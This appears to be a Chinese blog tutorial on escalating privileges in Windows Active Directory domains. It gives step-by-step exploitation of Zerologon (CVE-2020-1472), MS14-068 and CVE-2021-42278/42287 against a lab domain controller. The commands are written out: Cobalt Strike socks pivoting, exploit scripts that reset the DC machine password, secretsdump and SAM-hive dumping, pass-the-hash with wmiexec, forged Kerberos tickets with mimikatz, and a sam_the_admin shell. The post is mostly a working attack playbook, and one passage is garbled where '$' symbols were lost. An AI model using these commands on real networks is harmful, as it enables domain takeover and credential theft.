域环境提权姿势

域提权简介

Netlogon域权限提升

2020年08月12日, 微软官方发布了 NetLogon 特权提升漏洞 的风险通告。攻击者通过NetLogon(MSNRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者。

可以在该网络中的设备上运行经特殊设计的应用程序。

漏洞编号:CVE-2020-1472

影响版本:

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2012
Windows Server 2016
Windows Server 2019
Windows Server version 1903 (Server Core installation)
Windows Server version 1909 (Server Core installation)
Windows Server version 2004 (Server Core installation)

环境:域靶场
DC ip地址:10.10.10.10

1.查看域控主机名称。

net group "domain controllers" /domain

在这里插入图片描述

域内提权漏洞

环境:域靶场
DC ip地址:10.10.10.10

  1. 查看域控主机名称。
net group "domain controllers" /domain

在这里插入图片描述

  1. 检测漏洞是否存在。

(1)前提拿到目标机器的桌面控制权。

把PingCastle在目标机器运行。cmd命令行直接PingCastle.exe运行。选择第四个扫描模块。
在这里插入图片描述
(2)回车后,继续选择g模块对域环境进行探测。

在这里插入图片描述(3)探测完成,在当前目录下生成探测结果。
在这里插入图片描述

(4)查看探测结果,存在漏洞,攻击了249次。

在这里插入图片描述

  1. 利用CS 做跳板在kali上进行探测和渗透。

前期准备:
(1)上线cs。创建一个socks代理
在这里插入图片描述
(2)查看代理信息,视图=>代理信息,端口为3795
在这里插入图片描述
(3)打开kali,配置自带的代理工具,vim /etc/proxychain.conf
在这里插入图片描述socks4+CS服务器ip+代理端口。:wq保存退出。

  1. 使用zerologon_tester.py对目标域进行漏洞探测。
https://github.com/SecuraBV/CVE-2020-1472.git #脚本下载地址
python3 zerologon_tester.py DC 10.10.10.10

在这里插入图片描述查看结果:

在这里插入图片描述
存在漏洞。

  1. 漏洞利用,对域账号重置。
https://github.com/blackarrowsec/redteam-research #下载地址
proxychains python3 CVE-2020-1472.py DC DC$ 10.10.10.10

在这里插入图片描述可以看到账号已经被重置。
在这里插入图片描述

  1. 使用mimikatz获取DC$的hash。
    在这里插入图片描述

  2. 查看密码是否为置空状态。

使用web第三方工具进行查询。
在这里插入图片描述

这时候可以看一下用户凭证,DC$的hash已被置空。

  1. 获取域控用户hash。
python3 secretsdump.py 'de1ay.com/DC$@10.10.10.10' -no-pass

在这里插入图片描述

  1. wmiexec进行hash横向连接。
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:484c4a877bf92ab233572af847b9e530 demo\Administrator@10.10.10.10

在这里插入图片描述

  1. 恢复域 - 获取hash。

#获取sam数据库

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

在这里插入图片描述
在域控的C盘目录下可以看到生成的目录:
在这里插入图片描述

get system.save
get sam.save
get security.save

在这里插入图片描述在这里插入图片描述在这里插入图片描述

在执行命令的目录下可以找到三个文件。
在这里插入图片描述

  1. 恢复域 - 获取hash。

#解密sam

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

在这里插入图片描述

  1. 恢复域 - 还原hash。
https://github.com/risksense/zerologon
python3 reinstall_original_pw.py DC 192.168.5.134 e2474b7ca001fb4d6847a6c1ece68bfb

在这里插入图片描述
等待脚本跑完即可。

MS14-068

该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。

微软官方解释:

https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068

漏洞原理:

Kerberos认证原理: https://www.cnblogs.com/huamingao/p/7267423.html

服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控dc验证pac的话,那么客户端可以伪造域管的权限来访问服务器。

漏洞利用前提:
1.域控没有打MS14-068的补丁(KB3011780)
2.攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid。

相关工具下载:

Ms14-068.exe
下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

PSexec下载地址:https://github.com/crupper/Forensics-ToolWiki/blob/master/windowsTools/PsExec64.e

  1. 首先在检测是否有MS14-068这个漏洞,通过查看是否打补丁(KB3011780)来判断是否存在漏洞,在域中补丁都是批量安装。
    在这里插入图片描述

  2. 获取域sid。

在这里插入图片描述

  1. 获取域hash。
    由于是域普通用户,首先提权到system然后抓hash。
    (1)提权,使用插件。
    在这里插入图片描述
    在这里插入图片描述(2)使用system用户会话查询用户hash。

在这里插入图片描述

  1. 清除当前用户票据。
she #清除当前用户票据
mimikatz kerberos::list #列出当前用户票据

在这里插入图片描述

  1. 利用ms14-068.exe提权工具生成伪造的kerberos协议认证证书。
    (1)上传程序,upload。选择MS14-068.exe。
    在这里插入图片描述
    (2)生成伪造的kerberos协议认证证书。
shell MS14-068.exe -u bob@zsyy.local -s S-1-5-21-650557126-778549642-18545986-1107 -p hudiashu -d 10.10.10.10
shell MS14-068.exe -u 用户名@域名 -s SID -p 明文密码/--rc4 thlmhash密文 -d DC的IP

在这里插入图片描述

  1. 利用mimikatz.exe将证书写入,从而提升为域管理员。
mimikatz kerberos::ptc **TGT_11@de1ay.com.ccache**  #上一步最后一行显示的文件名称

在这里插入图片描述

  1. 再次列出域控制器的C盘目录,成功访问域控的C盘,说明普通域用户提权成功。
    在这里插入图片描述
    失败了没关系,我们尝试几次,实在不行的话就换个方式就好啦!

cve-2021-42287/cve-2021-42278

漏洞介绍
1、CVE-2021-42278
一般来说,机器账号的名字应该以 符号结尾的。例如 D C 符号结尾的。例如DC 符号结尾的。例如DC表示DC这台主机的账户名。但是微软只是进行了规定,并没有验证程序对用户创建的用户名进行验证,也就是说,创建DC用户名完全是可以的。(这里指的是机器账号的sAMAccountName属性)

2、CVE-2021-42287
结合上面那个漏洞,如果创建了一个用户名为DC的账户,此时使用这个账户去申请一张TGT票据,然后在申请ST之前,将这个账户名修改掉或者删除掉,那么在进行申请ST的时候,KDC在进行验证时就查不到这个账户,此时KDC就会去查找DC 这个账户,如果这个账户存在的话,最终返回的就是 D C 这个账户,如果这个账户存在的话,最终返回的就是DC 这个账户,如果这个账户存在的话,最终返回的就是DC这个账户申请的ST。也就相当于获取到了域控账户申请的高权限服务票据。

漏洞影响范围

Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019

利用工具下载地址

https://github.com/WazeHell/sam-the-admin
  1. 上线cs。
  2. 开启socks代理,并配置kali的proxychains文件。
    在这里插入图片描述

打开kali配置代理文件。

vim /etc/proxychains4.conf

在这里插入图片描述

  1. 下载脚本需要的模块包。
    在这里插入图片描述

  2. 得到shell。

proxychains python3 sam_the_admin.py 域名/域名/域用户:密码
 -dc-ip x.x.x.x -shell

在这里插入图片描述

  1. 查看用户权限即ip是否为域控IP。

在这里插入图片描述

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

曲折上升

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值